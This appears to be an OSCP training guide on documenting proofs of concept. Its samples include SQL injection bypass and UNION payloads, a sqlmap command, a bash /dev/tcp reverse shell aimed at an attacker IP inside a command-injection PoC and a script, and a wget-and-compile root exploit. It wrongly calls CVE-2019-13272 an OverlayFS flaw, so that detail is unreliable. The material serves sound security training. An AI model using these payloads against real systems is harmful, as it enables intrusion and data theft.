OSCP Report Writing: Proof of Concept (PoC) Documentation
1. What is a Proof of Concept?
Definition
A Proof of Concept (PoC) is a demonstration that a vulnerability is real and exploitable. It provides step-by-step instructions that allow any qualified tester to reproduce the issue and verify the finding.
Purpose of PoC Documentation
- Proves the vulnerability exists. A claim without a PoC is just a hypothesis.
- Demonstrates the impact. Shows what an attacker can actually do with the vulnerability.
- Enables reproduction. Allows the client’s team to verify the finding independently.
- Supports remediation. Helps developers understand exactly what needs to be fixed.
- Grading requirement. The OSCP exam requires PoC documentation for each finding.
PoC Principles
| Principle | Description |
|---|---|
| Safety First | Demonstrate the vulnerability without causing damage |
| Reproducibility | Any qualified tester should get the same results |
| Minimal Impact | Use read-only operations where possible |
| Completeness | Include all steps, commands, and expected output |
| Clarity | Make the PoC easy to follow and understand |
2. PoC Documentation Structure
Standard PoC Template
#### Proof of Concept
**Prerequisites:**
- Access to: [target system/URL]
- Tools required: [list of tools]
- Authentication: [required/not required]
- Network access: [description]
**Steps to Reproduce:**
**Step 1: [Description]**
```bash
[command]
Expected Output:
[output]
Step 2: [Description]
[command]
Expected Output:
[output]
Step N: [Description]
[command]
Expected Output:
[output]
Impact Demonstrated:
- [Impact 1]
- [Impact 2]
- [Impact 3]
## 3. PoC Examples by Vulnerability Type
### SQL Injection PoC
#### Manual SQL Injection
```markdown
#### Proof of Concept
**Prerequisites:**
- Access to: http://10.10.10.100/login
- Tools required: curl, Burp Suite
- No authentication required
**Step 1: Test for SQL Injection**
Send the following POST request with a single quote in the username field:
```http
POST /login HTTP/1.1
Host: 10.10.10.100
Content-Type: application/x-www-form-urlencoded
username=admin'&password=test
Expected Output: The application returns a SQL error message:
You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax
to use near ''admin'' AND password='test'' at line 1
Step 2: Authentication Bypass
Send the following POST request with an OR-based injection:
POST /login HTTP/1.1
Host: 10.10.10.100
Content-Type: application/x-www-form-urlencoded
username=admin' OR '1'='1'--&password=test
Expected Output: The application returns a successful login response:
HTTP/1.1 302 Found
Location: /dashboard
Set-Cookie: session=abc123def456; HttpOnly
Step 3: Data Extraction via UNION Injection
Determine the number of columns:
POST /login HTTP/1.1
Host: 10.10.10.100
Content-Type: application/x-www-form-urlencoded
username=' ORDER BY 5--&password=x
Extract database version:
POST /login HTTP/1.1
Host: 10.10.10.100
Content-Type: application/x-www-form-urlencoded
username=' UNION SELECT 1,VERSION(),3,4,5--&password=x
Expected Output:
5.7.32-0ubuntu0.18.04.1
Impact Demonstrated:
- Authentication bypass confirmed
- Full database access achieved
- Database version extracted (MySQL 5.7.32)
- All user credentials can be extracted
#### Automated SQL Injection with sqlmap
```markdown
**Step 4: Automated Extraction with sqlmap**
```bash
sqlmap -u "http://10.10.10.100/login" \
--data="username=admin&password=test" \
--batch --dbs --level=3 --risk=2
Expected Output:
available databases [5]:
[*] information_schema
[*] customers
[*] employees
[*] products
[*] users
### Command Injection PoC
```markdown
#### Proof of Concept
**Prerequisites:**
- Access to: http://10.10.10.100/ping
- Tools required: curl, netcat
- No authentication required
**Step 1: Test for Command Injection**
Send a request with a basic OS command:
```bash
curl "http://10.10.10.100/ping?ip=127.0.0.1;id"
Expected Output:
<P>uid=33(www-data) gid=33(www-data) groups=33(www-data)</P>
Step 2: Confirm Command Injection
Send a request with a reverse shell payload:
# Listener on attacker machine
nc -lvnp 4444
# Exploit request
curl "http://10.10.10.100/ping?ip=127.0.0.1;bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.5/4444+0>%261'"
Expected Output:
Connection from 10.10.10.100:4444
www-data@target:~$ whoami
www-data
Impact Demonstrated:
- Remote code execution confirmed
- Reverse shell obtained as www-data
- Arbitrary OS commands can be executed
### Cross-Site Scripting (XSS) PoC
```markdown
#### Proof of Concept
**Prerequisites:**
- Access to: http://10.10.10.100/search
- Tools required: Browser, Burp Suite
- No authentication required
**Step 1: Test for Reflected XSS**
Navigate to the following URL:
**Expected Output:**
A JavaScript alert box appears with the value "1".
**Step 2: Demonstrate Session Cookie Theft**
Navigate to the following URL:
**Expected Output:**
The attacker's server receives the victim's session cookie:
GET /?c=session=abc123def456 HTTP/1.1 Host: 10.10.14.5:8080
**Impact Demonstrated:**
- Reflected XSS confirmed
- Session cookies can be stolen
- Arbitrary JavaScript can be executed in the victim's browser
Privilege Escalation PoC (Linux)
#### Proof of Concept
**Prerequisites:**
- Access to: 10.10.10.100 (as user www-data)
- Tools required: gcc, netcat
- Initial access as www-data user
**Step 1: Verify Current User**
```bash
www-data@target:~$ whoami
www-data
www-data@target:~$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Step 2: Identify Privilege Escalation Vector
www-data@target:~$ uname -a
Linux target 4.15.0-20-generic #21-Ubuntu SMP Tue Apr 24 06:16:15 UTC 2018 x86_64
www-data@target:~$ cat /etc/os-release
NAME="Ubuntu"
VERSION="18.04.2 LTS (Bionic Beaver)"
The kernel version 4.15.0-20-generic is vulnerable to CVE-2019-13272 (OverlayFS privilege escalation).
Step 3: Download and Compile Exploit
www-data@target:~$ wget http://10.10.14.5/exploit.c
www-data@target:~$ gcc exploit.c -o exploit
www-data@target:~$ chmod +x exploit
Step 4: Execute Exploit
www-data@target:~$ ./exploit
[+] Switching to root...
[+] Spawning root shell...
root@target:~# whoami
root
root@target:~# id
uid=0(root) gid=0(root) groups=0(root)
Step 5: Capture Root Flag
root@target:~# cat /root/root.txt
[REDACTED FLAG CONTENT]
Impact Demonstrated:
- Local privilege escalation from www-data to root
- Full system compromise achieved
- Root flag captured
### Authentication Bypass PoC
```markdown
#### Proof of Concept
**Prerequisites:**
- Access to: http://10.10.10.100/admin
- Tools required: Burp Suite, curl
- No authentication required
**Step 1: Test Default Credentials**
Attempt login with default credentials:
```bash
curl -X POST http://10.10.10.100/admin/login \
-d "username=admin&password=admin"
Expected Output:
HTTP/1.1 302 Found
Location: /admin/dashboard
Set-Cookie: admin_session=xyz789; HttpOnly; Secure
Step 2: Access Administrative Panel
curl -b "admin_session=xyz789" http://10.10.10.100/admin/dashboard
Expected Output:
<html>
<head><title>Admin Dashboard</title></head>
<body>
<h1>Welcome, Administrator</h1>
<p>Server Management Panel</p>
</body>
</html>
Impact Demonstrated:
- Default credentials confirmed (admin/admin)
- Administrative panel accessible without proper authentication
- Full administrative control achieved
## 4. PoC Code Examples
### Python PoC Script
```python
#!/usr/bin/env python3
"""
SQL Injection Proof of Concept
Target: http://10.10.10.100/login
Vulnerability: UNION-based SQL Injection in username parameter
"""
import requests
import sys
TARGET = "http://10.10.10.100/login"
def test_auth_bypass():
"""Test authentication bypass using OR-based injection."""
print("[*] Testing authentication bypass...")
data = {
'username': "' OR '1'='1'--",
'password': "anything"
}
response = requests.post(TARGET, data=data, allow_redirects=False)
if response.status_code == 302:
print("[+] Authentication bypass confirmed!")
print(f"[+] Redirect location: {response.headers.get('Location', 'N/A')}")
return True
else:
print("[-] Authentication bypass failed")
return False
def extract_database_version():
"""Extract database version using UNION injection."""
print("\n[*] Extracting database version...")
data = {
'username': "' UNION SELECT 1,VERSION(),3,4,5--",
'password': "x"
}
response = requests.post(TARGET, data=data)
if "5.7" in response.text or "5.6" in response.text:
print(f"[+] Database version extracted from response")
return True
else:
print("[-] Could not extract database version")
return False
def main():
print("=" * 50)
print("SQL Injection PoC - Authentication Bypass")
print("=" * 50)
test_auth_bypass()
extract_database_version()
print("\n[+] PoC complete")
if __name__ == "__main__":
main()
Bash PoC Script
#!/bin/bash
# Command Injection PoC
# Target: http://10.10.10.100/ping
TARGET="http://10.10.10.100/ping"
echo "=========================================="
echo "Command Injection PoC"
echo "=========================================="
echo "[*] Testing command injection..."
RESPONSE=$(curl -s "${TARGET}?ip=127.0.0.1;id")
if echo "$RESPONSE" | grep -q "uid="; then
echo "[+] Command injection confirmed!"
echo "[+] Output: $RESPONSE"
else
echo "[-] Command injection not confirmed"
fi
echo "[*] Attempting reverse shell..."
curl -s "${TARGET}?ip=127.0.0.1;bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.5/4444+0>%261'"
echo "[+] PoC complete. Check netcat listener on port 4444."
5. PoC Best Practices
Safety Guidelines
| Guideline | Description |
|---|---|
| Read-only operations | Use SELECT instead of DELETE/DROP in SQL injection |
| Limited scope | Demonstrate the vulnerability without affecting other systems |
| No data destruction | Never delete, modify, or corrupt data |
| No denial of service | Avoid actions that could crash the system |
| Clean up | Remove any files or changes made during the PoC |
Documentation Guidelines
| Guideline | Description |
|---|---|
| Step-by-step | Number each step clearly |
| Exact commands | Copy commands from your terminal |
| Expected output | Show what the output should look like |
| Context | Show the current user, directory, and environment |
| Screenshots | Include screenshots of key steps |
| Impact | Clearly state what the PoC demonstrates |
OSCP-Specific Guidelines
| Guideline | Description |
|---|---|
| Show flag capture | Always include reading user.txt and root.txt |
| Show user context | Include whoami/id output at each stage |
| Show the exploit | Include the exact exploit command used |
| Show the shell | Include the shell prompt after exploitation |
| Be honest | Document what you actually did, not what you think you should have done |
6. Common PoC Mistakes
Mistake 1: Incomplete Steps
Bad: “Run the exploit and you get a shell.”
Good: “Download the exploit with wget, compile with gcc, execute with ./exploit, and verify with whoami.”
Mistake 2: Missing Expected Output
Bad: Showing only the command without the output.
Good: Showing both the command and its expected output.
Mistake 3: No Context
Bad: “Run ./exploit”
Good: “www-data@target:~/tmp$ ./exploit” (showing the user and directory)
Mistake 4: Unsafe Operations
Bad: “DROP TABLE users;” to demonstrate SQL injection.
Good: “SELECT * FROM users LIMIT 1;” to demonstrate SQL injection safely.
7. Key Takeaways
- PoC proves the vulnerability. Without a PoC, a finding is just a claim.
- Be step-by-step. Number each step and provide exact commands.
- Show expected output. Include what the output should look like.
- Be safe. Use read-only operations and avoid causing damage.
- Show context. Include the current user, directory, and environment.
- For OSCP: Show flag capture, user context, and the exact exploit used.
- Be reproducible. Any qualified tester should be able to follow your PoC.
8. Further Reading
- OWASP Testing Guide PoC Section
- CVE PoC Examples on GitHub
- Exploit-DB PoC Repository: https://www.exploit-db.com/
- Packet Storm Security: https://packetstormsecurity.com/